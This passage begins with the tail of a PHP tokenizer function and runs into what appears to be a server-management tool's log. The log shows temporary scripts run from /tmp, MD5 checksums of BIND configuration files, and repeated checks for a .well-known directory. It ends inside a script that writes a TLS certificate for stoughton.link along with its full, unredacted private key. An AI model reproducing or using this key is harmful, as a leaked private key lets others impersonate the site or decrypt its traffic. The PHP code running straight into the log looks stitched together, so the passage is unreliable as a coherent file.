			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-04 13:37:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp206600; rm /tmp/pkp206600'

2026-07-04 13:37:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-04 13:37:41: Establishing a connection
2026-07-04 13:37:41: Establishing a connection
2026-07-04 13:37:41: 

PUT: /tmp/pkp949558

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-04 13:37:41: 

chmod 755 /tmp/pkp949558; /tmp/pkp949558; rm /tmp/pkp949558

2026-07-04 13:37:41: 


0


2026-07-04 13:43:47: Establishing a connection
2026-07-04 13:43:48: Establishing a connection
2026-07-04 13:43:48: 

PUT: /tmp/pkp715646

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-04 13:43:48: 

chmod 755 /tmp/pkp715646; /tmp/pkp715646; rm /tmp/pkp715646

2026-07-04 13:43:48: 


0


2026-07-04 13:44:20: Establishing a connection
2026-07-04 13:44:20: Establishing a connection
2026-07-04 13:44:20: 

PUT: /tmp/pkp781392

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-04 13:44:21: 

chmod 755 /tmp/pkp781392; /tmp/pkp781392; rm /tmp/pkp781392

2026-07-04 13:44:21: 


0


2026-07-04 13:51:59: Establishing a connection
2026-07-04 13:51:59: Establishing a connection
2026-07-04 13:51:59: 

PUT: /tmp/pkp199459

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-04 13:51:59: 

chmod 755 /tmp/pkp199459; /tmp/pkp199459; rm /tmp/pkp199459

2026-07-04 13:51:59: 


0


2026-07-04 13:52:54: Establishing a connection
2026-07-04 13:52:55: Establishing a connection
2026-07-04 13:52:55: 

PUT: /tmp/pkp565944

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-04 13:52:55: 

chmod 755 /tmp/pkp565944; /tmp/pkp565944; rm /tmp/pkp565944

2026-07-04 13:52:55: 


0


2026-07-04 13:53:19: Establishing a connection
2026-07-04 13:53:19: 

PUT: /tmp/pkp413851

#!/bin/bash
temp_file=$(mktemp)
TARGET=b6da5a1697afd075a41d62112290ebf0.crt

cat > $temp_file <<'endmsg'
d1:da:d4:a7:b8:6b:e0:4d:44:a8:19:2b:fe:df:5b:4d

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBTxnxddA6/8Je9tQfz+/k/nqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzA0MTI1NDQ2WhcNMjYxMDAyMTI1NDQ1WjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKRO0EVb0Uv3tSx212nNOdH/ZJvdWxSpEgJOdOUnhlvqL1rUiMZrcwxynK7DDGfu
33IAQzWGRkZkd82I+QGUeY75qdvBr+EQf8Y6Hc6idkS+JHfBk7IzQAxoHzkqTwyz
TY4at+ascvUKnPipOHqSOAru/NWM1tXdWPK812dajRAWINFft7ba9l/RbWsj/1CH
pxIhmOHLIShTtitaAkpFJVTz+97e7RU7hUH/cnNevXA32+JXv/g24T+gOUvWUNe4
4j5B+GyuwpquufLdV3wBft2U99prMP6cGSPgo6QCahNcRJFvknH3uK6CvR/IQCGF
IlSND6dHDopJsAbvkhjtbIsCAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQk90SE
l8eXDkY3D9mx9kts8GintjAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj699Ro
+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECouc3RvdWdodG9uLmxpbmuCDnN0b3VnaHRvbi5s
aW5rMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly95cjEuYy5sZW5jci5vcmcvMTA3LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA
+AB3AK9niDtXsE7dj6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABny1nrbkAAAQD
AEgwRgIhALNQELbD1Jmyp2B6lr2u9bfYWSB2s6VSEHmi/HgGRVh0AiEAje1lwZ5T
j1eyILCwGzssGh66Qqam907x4V0SVuXre8EAfQAm42RuWGkhI7w0P0ckNZs3ks0k
WojYFdOTM/2ZGKtHIwAAAZ8tZ6rnAAgAAAUAJVRo6AQDAEYwRAIgSJg8GQJrPDGS
Sq3wrOu8P8quuEhmCHcpmgjIWWPfKM0CIGAHR8TYjpnaRaME7ROTPjUW+n2rDkTB
Af+Q7/CWMrFxMA0GCSqGSIb3DQEBCwUAA4IBAQBLKj81nujdE7fomp22h9CVSm3u
UpAXLaxomyXhifxCnKUKay8aSHue333xfR/7d005a0IJdjyQXq91MfOSdtyUyOoP
oxjaldSN83by97Rz37ZI79xJBqKtQsAnQy/aetIrMRDGHmCJaGo1QdR3/HVzn+Uw
6IjoQnIuIMywMVxqBL1XytxraSTbd67Q82mLNEP9A3sGUx2pD+9fr6xm3ItGkU2V
k1JfSwZIpdfRAEarlcveWq7WvY2lnf2+Ym66UeHbra2P49dULsImphGeaPWy/z7M
g6uIfOyeotTNEZCeX/PVg12cAan3Bj2vHe4Ymk2w6rUeFNPUxJYYCDbU60dB
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkTtBFW9FL97Us
dtdpzTnR/2Sb3VsUqRICTnTlJ4Zb6i9a1IjGa3MMcpyuwwxn7t9yAEM1hkZGZHfN
iPkBlHmO+anbwa/hEH/GOh3OonZEviR3wZOyM0AMaB85Kk8Ms02OGrfmrHL1Cpz4
qTh6kjgK7vzVjNbV3VjyvNdnWo0QFiDRX7e22vZf0W1rI/9Qh6cSIZjhyyEoU7Yr
WgJKRSVU8/ve3u0VO4VB/3JzXr1wN9viV7/4NuE/oDlL1lDXuOI+QfhsrsKarrny
3Vd8AX7dlPfaazD+nBkj4KOkAmoTXESRb5Jx97iugr0fyEAhhSJUjQ+nRw6KSbAG
75IY7WyLAgMBAAECggEATlczr3ZFVxrOu9oYAF61HF7Qig5jQHkSWJ4u1xne0pFY
rc6bPjv6GWvGL/9YuW9oA3ODmBAjDqoVgx61Vx8DTHvWlKyHXuCeg5WvI5hLmqAs
RBs8gCE2fxPgG0IEedI9/qzXlTkRAKvkRx1sC+kOpovnaiyiPEsy/12xuJowmwOm
RXIM4/+lVRIIgHLv8JVXBDBtuwrxSg15hzj4eFijVBWrmajzdKHzIv66kQmJJRWH
m1zZ/wGY/NrG3RfwJ7M4GJAGzx/RnE2yvL0He1urDvIn5bTO2PHmASMCWKf7TzND
Ck5ZVaPAAUaZdBBrbnMYgQ6QUymT7Fa33Jzd7jFOLQKBgQDUW3Qj+kX+x6zOYrz0
zjrX60hXGQSm3N8/ENeKlGawVAkhN58IZXN0eTJEaJlu9mz9bE++0ajzupDy23Rh
6O3h6Ddgj0iZFCrVNv/1/R3DGX53oyl5B0K/u4y2kw1BTgyDqZYpwb/6Dg06hqpX
fFBBtFaClcAcE3vqrlMCLc25nQKBgQDGE2Jv/uvwDA7VDzcXIS2Lkf8rTL292wM/
BfEmGMDhUBEQKj/t4dj8O8pk0v19g019uidOQccf+HSEqL/oxEUgdhcNG9N4haos
YAK4ngZIVrXIos3agireXrSYbTM+VRNfJ4koGPjyXgcsdpoqtCuTN131bLZSCUNC
lrGSZ4kaRwKBgEqzeSGG0sSTXRik5y9+tHhsDeCFrns8S1QWCpx3I8B3b1a+CDWd
6oVYdPRXj1HXYfOr/El122cRhBfKVyByHexQEdrnzHP9AixK0rOnvKZ6+1/+h4JJ
qZNk2FUJWapVWFWgfHBn9a5y7vhdkuJ/moPiemQpZZD60aZ2eEDV9/6JAoGBAJpr
wGGZ9yz06ZdXPlbM6eoWzz1dnctm9JfstP1DbRP7TOIyXhbB7V1v67FBAJkahY5Q
U5ZiF7CoDYbi3ILGiTHufrgcing6lNn1nAl8QV+iIiSiMCR7OJqWcOsorzuYLfsQ
IpDdLzAc+DDE4hoKzrH+B0VwFI/OYt6GBzghebS/AoGATk6mhTthCJiF9iRM91PB
x+GcQJHJ1dcMl7YFXubtXXSgGCELnqTVTjLtm/eLYX4il64VQ1dLJGgp1T0pL1Wr
zSo9Hbom1YnRMfiixjfRZ3As4yPzW5+BjJsBpUXmQwDhQMmW41IxNTxXgAR/qSsU
TM4k6ZEJFGl46jLDX2N7e6E=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
